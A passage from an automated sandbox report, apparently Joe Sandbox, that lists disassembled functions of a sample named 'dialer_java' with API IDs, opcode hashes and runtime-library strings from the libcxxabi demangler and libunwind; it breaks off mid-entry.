                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: _assertmemcpyrealloc
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h$basic_string$starts_with(SV, "basic_")
                                  • API String ID: 2326172077-800580732
                                  • Opcode ID: 1cf50003512e3ea4dae628e96ebf30add7ca9d163f89edfb160867659c8d9a78
                                  • Instruction ID: cadd91a147e5c3dc6aa4f12090bea2139acb09cc1e9c737e50a4697f237efe0b
                                  • Opcode Fuzzy Hash: 1cf50003512e3ea4dae628e96ebf30add7ca9d163f89edfb160867659c8d9a78
                                  • Instruction Fuzzy Hash: C101D6B2F05B4282EA34DB15F4802BC63A1EF14BC4F405675CA4D87754EF2CE98D8704
                                  Function 00007FF695DDAA50 Relevance: 9.3, APIs: 6, Instructions: 291stringCOMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: malloc$reallocstrlen
                                  • String ID:
                                  • API String ID: 2374275640-0
                                  • Opcode ID: 9fcff9b977f65c3a391a145938d85213577a97e659ce38ebb67324265da1d897
                                  • Instruction ID: 4e16031022b31623829c92c710fbbdcc13899ad097202b4008b9773f1adef618
                                  • Opcode Fuzzy Hash: 9fcff9b977f65c3a391a145938d85213577a97e659ce38ebb67324265da1d897
                                  • Instruction Fuzzy Hash: E4C10372609BC281EB258B24D0503AD67E9EB44F81F489376CB8D877D5EF6CE95AC304
                                  Function 00007FF695DD8DB0 Relevance: 9.1, APIs: 6, Instructions: 147COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc$memcpy
                                  • String ID:
                                  • API String ID: 1833655766-0
                                  • Opcode ID: 30d2cb59483826d978f11d2be31c172a2ece989509a146521bc4926f218ec95d
                                  • Instruction ID: 1b3d4f7e5bfd48386a181493c49f43cf672fa63e9f402838259db895f3b2bea3
                                  • Opcode Fuzzy Hash: 30d2cb59483826d978f11d2be31c172a2ece989509a146521bc4926f218ec95d
                                  • Instruction Fuzzy Hash: C75182B2A05B8682DE398F56F44026DA3A2EB54FC4F049672CB9E47B91DF3CE9558300
                                  Function 00007FF695DD5E30 Relevance: 9.1, APIs: 6, Instructions: 140COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc$memcpy
                                  • String ID:
                                  • API String ID: 1833655766-0
                                  • Opcode ID: d16cc2fde265a49c118596b96dd5b5cfa61d07f1c591749a92ff39ed06f51163
                                  • Instruction ID: dc6037a8c88f43a3aa6869e6b621b9bb3f9a588703640196e5709053fd782207
                                  • Opcode Fuzzy Hash: d16cc2fde265a49c118596b96dd5b5cfa61d07f1c591749a92ff39ed06f51163
                                  • Instruction Fuzzy Hash: 7C515DB2A05B4683EB399F56F450269B3A1FB58BC0F448676CB8E47B91EF3CE5458340
                                  Function 00007FF695DD6030 Relevance: 9.1, APIs: 6, Instructions: 128COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc$memcpy
                                  • String ID:
                                  • API String ID: 1833655766-0
                                  • Opcode ID: 6905e7ca18b6a58da2f216068c29ad50521c822ba058662085adb930a16d6f30
                                  • Instruction ID: 6c7012274147b83ef287b0fbd89d6ef6755d6bcce00f8c3d35ea7742bf57cac5
                                  • Opcode Fuzzy Hash: 6905e7ca18b6a58da2f216068c29ad50521c822ba058662085adb930a16d6f30
                                  • Instruction Fuzzy Hash: 2F5171B2A06B4682DE388F56F45026DA3A1EB58FC4F449672CF8E47791EF3CE8558340
                                  Function 00007FF695DC4F64 Relevance: 9.1, APIs: 6, Instructions: 51COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: CriticalSection$DeleteEnterErrorLastLeaveValuefree
                                  • String ID:
                                  • API String ID: 3326252324-0
                                  • Opcode ID: 08f0997568cc7a319e12c3eb93543c3c92b5c3fd4d446526cdcdb6b294db1472
                                  • Instruction ID: b91b7d0f0fe270fe11660d1c833822f88c342c9c08b7f54c0240efdfb6b1e4e9
                                  • Opcode Fuzzy Hash: 08f0997568cc7a319e12c3eb93543c3c92b5c3fd4d446526cdcdb6b294db1472
                                  • Instruction Fuzzy Hash: 7E21D824E19A0285FA75CB51EA5037823E0FF40F91F6426B1C91ED76A4DF2EAC8ED344
                                  Function 00007FF695DDED80 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 128COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc$malloc
                                  • String ID: vector[$pixel ve
                                  • API String ID: 454241450-4216275618
                                  • Opcode ID: c7e31e28da302632c023a726f4a17732f91bf8205f05fac472730efd64aa863f
                                  • Instruction ID: 39f3f5dc4ef7de966a6ddf5957f4e5beabdef261de12ae0447b8cb327a126904
                                  • Opcode Fuzzy Hash: c7e31e28da302632c023a726f4a17732f91bf8205f05fac472730efd64aa863f
                                  • Instruction Fuzzy Hash: 4A41F2B2A05B8582DA28CF16E4446AD77B5FB58FC0F018672CF8D87BA0DF38D9568304
                                  Function 00007FF695DD0BE5 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 117stringCOMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  • /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h, xrefs: 00007FF695DD1E5C
                                  • starts_with(Res, "operator") && "operator name does not start with 'operator'", xrefs: 00007FF695DD1E55
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: malloc$_assertstrlen
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h$starts_with(Res, "operator") && "operator name does not start with 'operator'"
                                  • API String ID: 3012236610-3503049562
                                  • Opcode ID: 01387742c7347a065d0d3fa100ad1a8c0eb405b46fc2f649a98275b690413a58
                                  • Instruction ID: d61fcebf47aab51979829363a45c4ce94bbc0fc908ff5795fdcbac7bab66abcf
                                  • Opcode Fuzzy Hash: 01387742c7347a065d0d3fa100ad1a8c0eb405b46fc2f649a98275b690413a58
                                  • Instruction Fuzzy Hash: B541F432616B8185EB21CB18E4047A837A8EB44F91F165375DF5C4B7A1EF38EA9AC314
                                  Function 00007FF695DD87F0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 104COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID: > typena$ame $template
                                  • API String ID: 471065373-2892875084
                                  • Opcode ID: 9e9012e4aaa5198cb7273f277177ca7dcf34f7861e77788661574f326ce0afe6
                                  • Instruction ID: 6a2275b6bc742e060ace0c408193ba5ce6ba6b1bd823dd8b1d9d161fd0d74519
                                  • Opcode Fuzzy Hash: 9e9012e4aaa5198cb7273f277177ca7dcf34f7861e77788661574f326ce0afe6
                                  • Instruction Fuzzy Hash: CB316FF2A05B4582DE29DF16F544169A7A1FB98FC0F008672CF8D47754EF38D9968700
                                  Function 00007FF695DDA260 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 97COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID: &$sizeof..
                                  • API String ID: 471065373-1098962357
                                  • Opcode ID: adf8345375f33b976376b6f3066ba57d42a7cef233737129a130052d44d8b66c
                                  • Instruction ID: b812a7db288970f245979fa73ab329611ca08d08d763393afa13f3896f89a38f
                                  • Opcode Fuzzy Hash: adf8345375f33b976376b6f3066ba57d42a7cef233737129a130052d44d8b66c
                                  • Instruction Fuzzy Hash: 31318FB2A06B8682EA25DF45F4442ADB3A5EB54BC4F00D631DB8E47B91EF3CD5458700
                                  Function 00007FF695DDE920 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID: restric$ volatil
                                  • API String ID: 471065373-3617781792
                                  • Opcode ID: 6f97b2bdcfadeecc99b906921db84679300aa3e2afda12722fcb0dde6b6c7a67
                                  • Instruction ID: a9ce90665285883ec59e0b5f665f798bca33f149efed212e41bee6b6bfd7bf38
                                  • Opcode Fuzzy Hash: 6f97b2bdcfadeecc99b906921db84679300aa3e2afda12722fcb0dde6b6c7a67
                                  • Instruction Fuzzy Hash: 49415EB2A05B8682DE28CF46F544269B7A1EB94FC4F009532DB9E477A0EF3CE845C340
                                  Function 00007FF695DC3D90 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 81COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: fflush
                                  • String ID: CCG $libunwind: __libunwind_seh_personality() LanguageHandler returned %d$libunwind: __libunwind_seh_personality() calling LanguageHandler %p(%p, %p, %p, %p)
                                  • API String ID: 497872470-3214979313
                                  • Opcode ID: 5331a38f71f5f04ee22fa3a2a17e78d251d856f83c24bee91c8b074b7409e614
                                  • Instruction ID: cd0dbde6d91709d977e71fe35f0b3156f7091422c70ab96c76eda741e89df8a5
                                  • Opcode Fuzzy Hash: 5331a38f71f5f04ee22fa3a2a17e78d251d856f83c24bee91c8b074b7409e614
                                  • Instruction Fuzzy Hash: 61318B22E08A4281EB309B65E4413BDA3A5FF85B84F04527AEE8D87795DF3CD8498748
                                  Function 00007FF695DDB468 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 38COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: _assert
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h$basi$basic_string$starts_with(SV, "basic_")
                                  • API String ID: 1222420520-1046023109
                                  • Opcode ID: 8a1932efec0281c9f68b659c12b67e82c76870f9f13c1bc956f51ccfae572d47
                                  • Instruction ID: 710ffdf32a9eefdabd31442b780a640ea5ef37a82f0ccaeb2e5f9258782f72e6
                                  • Opcode Fuzzy Hash: 8a1932efec0281c9f68b659c12b67e82c76870f9f13c1bc956f51ccfae572d47
                                  • Instruction Fuzzy Hash: 6BF0B4B1A06A1281F6708B08E440B3872A0EB45F68F50E374C52D87AD0DF2D991EC704
                                  Function 00007FF695DDFBC0 Relevance: 7.7, APIs: 5, Instructions: 234COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc$freememcpy
                                  • String ID:
                                  • API String ID: 2038854750-0
                                  • Opcode ID: a14b495c1d2ab2fb7fa7001a555ecdf9c52a2580ad9786f42b98ddf7beecf6c3
                                  • Instruction ID: 8aeff549023aeac1639f56d10329ac15b1f162f6289c9942aa77f7ab27475e1f
                                  • Opcode Fuzzy Hash: a14b495c1d2ab2fb7fa7001a555ecdf9c52a2580ad9786f42b98ddf7beecf6c3
                                  • Instruction Fuzzy Hash: 6B91B0A2A09B4682EF288F16D54437863E1FB55FC4F089676CF4D87795DF2CE86A8304
                                  Function 00007FF695DD4F60 Relevance: 7.7, APIs: 5, Instructions: 227COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc$malloc
                                  • String ID:
                                  • API String ID: 454241450-0
                                  • Opcode ID: c0b732543a884f7b52177f9fd860a4d077764d15161aa00754840a6817184501
                                  • Instruction ID: b245bc320ca209e312cfe3c2e0d2fb67798bede977e50ac32adc82230018cd56
                                  • Opcode Fuzzy Hash: c0b732543a884f7b52177f9fd860a4d077764d15161aa00754840a6817184501
                                  • Instruction Fuzzy Hash: 2A71E572A05B8582EB258F1AF4446ACB7A0EB58FC0F048232CF9D47BA1DF3CD5968700
                                  Function 00007FF695DD57A0 Relevance: 7.7, APIs: 5, Instructions: 217COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID:
                                  • API String ID: 471065373-0
                                  • Opcode ID: 2f7d11eb0644d44da1dbadc0eedc91ed27022fc7bc0ddba03700444f196e75e1
                                  • Instruction ID: 97b00fb7439df4a59676123d0a2c53874201720a6ff624929dda757a23d2cc8b
                                  • Opcode Fuzzy Hash: 2f7d11eb0644d44da1dbadc0eedc91ed27022fc7bc0ddba03700444f196e75e1
                                  • Instruction Fuzzy Hash: 2A7170A2A05B4582EA35CF56E580269A3E1EB54FC0F449172CF9E47B90EF3CE895C304
                                  Function 00007FF695DCF040 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 99COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: malloc
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h$Last != First && "Calling back() on empty vector!"$std$struct
                                  • API String ID: 2803490479-3902771045
                                  • Opcode ID: dac1940aed7c4ebf5e6eaeff0607231698d0c583ff25a4c13798f383bb8af2b8
                                  • Instruction ID: 28e530487f5257368bf5f8bb1224af9154a078147415ebfba776c2a997727db4
                                  • Opcode Fuzzy Hash: dac1940aed7c4ebf5e6eaeff0607231698d0c583ff25a4c13798f383bb8af2b8
                                  • Instruction Fuzzy Hash: 1E31E122B0BA8240EF658B15D5447B926D5EB04F80F065671CE5C8B3D1EF3CE99A8318
                                  Function 00007FF695DC4D90 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 86COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: Once$ExecuteInit
                                  • String ID: cannot create thread specific key for __cxa_get_globals()$cannot zero out thread value for __cxa_get_globals()$execute once failure in __cxa_get_globals_fast()
                                  • API String ID: 689400697-2130391284
                                  • Opcode ID: 91adbefc2d04b81e052fcb574bb784da4279744b813a2942087cac727f191c56
                                  • Instruction ID: dee9add9a1810f05c02943e3a7ab3c35c9c4171a7f43dc34df4fe43b5d39ac41
                                  • Opcode Fuzzy Hash: 91adbefc2d04b81e052fcb574bb784da4279744b813a2942087cac727f191c56
                                  • Instruction Fuzzy Hash: F7219121E1950381FE74AB15EE405B422E0EF95F40F912AB4DA0DC67A1EF3CAD5EC344
                                  Function 00007FF695DC6DB0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 139stringCOMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
